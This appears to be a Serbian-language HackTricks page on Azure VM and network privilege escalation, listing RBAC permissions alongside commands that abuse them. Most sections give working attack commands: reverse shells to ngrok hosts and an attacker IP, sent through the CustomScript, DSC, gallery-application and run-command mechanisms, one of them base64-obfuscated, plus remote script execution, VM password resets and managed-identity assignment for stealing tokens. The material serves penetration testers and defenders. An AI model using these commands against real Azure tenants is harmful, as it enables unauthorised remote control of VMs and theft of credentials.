Az - Virtual Machines & Network Privesc
Reading time: 12 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
VMS & Network
Za više informacija o Azure Virtual Machines i Network proverite:
Az - Virtual Machines & Network
Microsoft.Compute/virtualMachines/extensions/write
Ova dozvola omogućava izvršavanje ekstenzija u virtuelnim mašinama koje omogućavaju izvršavanje proizvoljnog koda na njima.
Primer zloupotrebe prilagođenih ekstenzija za izvršavanje proizvoljnih komandi u VM:
- Izvrši reverznu ljusku
# Prepare the rev shell
echo -n 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==
# Execute rev shell
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
- Izvršite skriptu koja se nalazi na internetu
az vm extension set \
--resource-group rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'
Takođe je moguće zloupotrebiti poznate ekstenzije za izvršavanje koda ili obavljanje privilegovanih akcija unutar VM-ova:
VMAccess ekstenzija
Ova ekstenzija omogućava modifikaciju lozinke (ili kreiranje ako ne postoji) korisnika unutar Windows VM-ova.
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
DesiredConfigurationState (DSC)
Ovo je VM ekstenzija koja pripada Microsoftu i koristi PowerShell DSC za upravljanje konfiguracijom Azure Windows VMs. Stoga se može koristiti za izvršavanje proizvoljnih komandi u Windows VMs putem ove ekstenzije:
# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
Script ReverseShell {
GetScript = { @{} }
SetScript = {
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length)
}
$client.Close()
}
TestScript = { return $false }
}
}
}
RevShellConfig -OutputPath .\Output
# Upload config to blob
$resourceGroup = 'dscVmDemo'
$storageName = 'demostorage'
Publish-AzVMDscConfiguration `
-ConfigurationPath .\revShell.ps1 `
-ResourceGroupName $resourceGroup `
-StorageAccountName $storageName `
-Force
# Apply DSC to VM and execute rev shell
$vmName = 'myVM'
Set-AzVMDscExtension `
-Version '2.76' `
-ResourceGroupName $resourceGroup `
-VMName $vmName `
-ArchiveStorageAccountName $storageName `
-ArchiveBlobName 'revShell.ps1.zip' `
-AutoUpdate `
-ConfigurationName 'RevShellConfig'
Hibridni Runbook Radnik
Ovo je VM ekstenzija koja bi omogućila izvršavanje runbook-ova u VM-ovima iz automatskog naloga. Za više informacija pogledajte Automation Accounts service.
Microsoft.Compute/disks/write, Microsoft.Network/networkInterfaces/join/action, Microsoft.Compute/virtualMachines/write, (Microsoft.Compute/galleries/applications/write, Microsoft.Compute/galleries/applications/versions/write)
Ovo su potrebne dozvole za kreiranje nove galerijske aplikacije i njeno izvršavanje unutar VM-a. Galerijske aplikacije mogu izvršavati bilo šta, tako da bi napadač mogao iskoristiti ovo da kompromituje VM instance izvršavajući proizvoljne komande.
Poslednje 2 dozvole mogu se izbeći deljenjem aplikacije sa zakupcem.
Primer eksploatacije za izvršavanje proizvoljnih komandi:
# Create gallery (if the isn't any)
az sig create --resource-group myResourceGroup \
--gallery-name myGallery --location "West US 2"
# Create application container
az sig gallery-application create \
--application-name myReverseShellApp \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Linux \
--location "West US 2"
# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
az sig gallery-application version create \
--version-name 1.0.2 \
--application-name myReverseShellApp \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"
# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name <vm-name> \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
--treat-deployment-as-failure true
Microsoft.Compute/virtualMachines/runCommand/action
Ovo je najosnovniji mehanizam koji Azure pruža za izvršavanje proizvoljnih komandi u VM-ovima:
# Execute rev shell
az vm run-command invoke \
--resource-group <rsc-group> \
--name <vm-name> \
--command-id RunShellScript \
--scripts @revshell.sh
# revshell.sh file content
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh
Microsoft.Compute/virtualMachines/login/action
Ova dozvola omogućava korisniku da prijavi kao korisnik u VM putem SSH ili RDP (pod uslovom da je Entra ID autentifikacija omogućena u VM).
Prijavite se putem SSH sa az ssh vm --name <vm-name> --resource-group <rsc-group>
i putem RDP sa vašim redovnim Azure akreditivima.
Microsoft.Compute/virtualMachines/loginAsAdmin/action
Ova dozvola omogućava korisniku da prijavi kao korisnik u VM putem SSH ili RDP (pod uslovom da je Entra ID autentifikacija omogućena u VM).
Prijavite se putem SSH sa az ssh vm --name <vm-name> --resource-group <rsc-group>
i putem RDP sa vašim redovnim Azure akreditivima.
Microsoft.Resources/deployments/write
, Microsoft.Network/virtualNetworks/write
, Microsoft.Network/networkSecurityGroups/write
, Microsoft.Network/networkSecurityGroups/join/action
, Microsoft.Network/publicIPAddresses/write
, Microsoft.Network/publicIPAddresses/join/action
, Microsoft.Network/networkInterfaces/write
, Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action
, Microsoft.Network/networkInterfaces/join/action
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Sve ove dozvole su neophodne da se kreira VM sa specifičnom upravljanom identitetom i da se ostavi port otvoren (22 u ovom slučaju). Ovo omogućava korisniku da kreira VM i poveže se na njega i ukrade tokene upravljane identitete kako bi eskalirao privilegije na njega.
U zavisnosti od situacije, može biti potrebno više ili manje dozvola za zloupotrebu ove tehnike.
az vm create \
--resource-group Resource_Group_1 \
--name cli_vm \
--image Ubuntu2204 \
--admin-username azureuser \
--generate-ssh-keys \
--assign-identity /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourcegroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity \
--nsg-rule ssh \
--location "centralus"
# By default pub key from ~/.ssh is used (if none, it's generated there)
Microsoft.Compute/virtualMachines/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Ove dozvole su dovoljne da dodelite nove upravljane identitete VM-u. Imajte na umu da VM može imati nekoliko upravljanih identiteta. Može imati sistemsku dodeljenu identitet i mnogo korisnički upravljanih identiteta.
Zatim, iz servisa za metapodatke moguće je generisati tokene za svaki od njih.
# Get currently assigned managed identities to the VM
az vm identity show \
--resource-group <rsc-group> \
--name <vm-name>
# Assign several managed identities to a VM
az vm identity assign \
--resource-group <rsc-group> \
--name <vm-name> \
--identities \
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2
Napadač mora neki način kompromitovati VM da bi ukrao tokene iz dodeljenih upravljanih identiteta. Proverite više informacija u:
### Microsoft.Compute/virtualMachines/read, Microsoft.Compute/virtualMachines/write, Microsoft.Compute/virtualMachines/extensions/read, Microsoft.Compute/virtualMachines/extensions/write
Ove dozvole omogućavaju promenu korisnika i lozinke virtuelne mašine za pristup:
az vm user update \
--resource-group <RESOURCE_GROUP_NAME> \
--name <VM_NAME> \
--username <USERNAME> \
--password <NEW_PASSWORD>
Microsoft.Compute/virtualMachines/write, "Microsoft.Compute/virtualMachines/read", "Microsoft.Compute/disks/read", "Microsoft.Network/networkInterfaces/read", "Microsoft.Network/networkInterfaces/join/action", "Microsoft.Compute/disks/write".
Ove dozvole vam omogućavaju da upravljate diskovima i mrežnim interfejsima, i omogućavaju vam da priključite disk na virtuelnu mašinu.
# Update the disk's network access policy
az disk update \
--name <disk-name> \
--resource-group <resource-group-name> \
--network-access-policy AllowAll
# Attach the disk to a virtual machine
az vm disk attach \
--vm-name <vm-name> \
--resource-group <resource-group-name> \
--name <disk-name>
TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action
Prema dokumentaciji, ova dozvola vam omogućava da upravljate operativnim sistemom vašeg resursa putem Windows Admin Centra kao administrator. Tako da izgleda da ovo daje pristup WAC-u za kontrolu VM-ova...
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.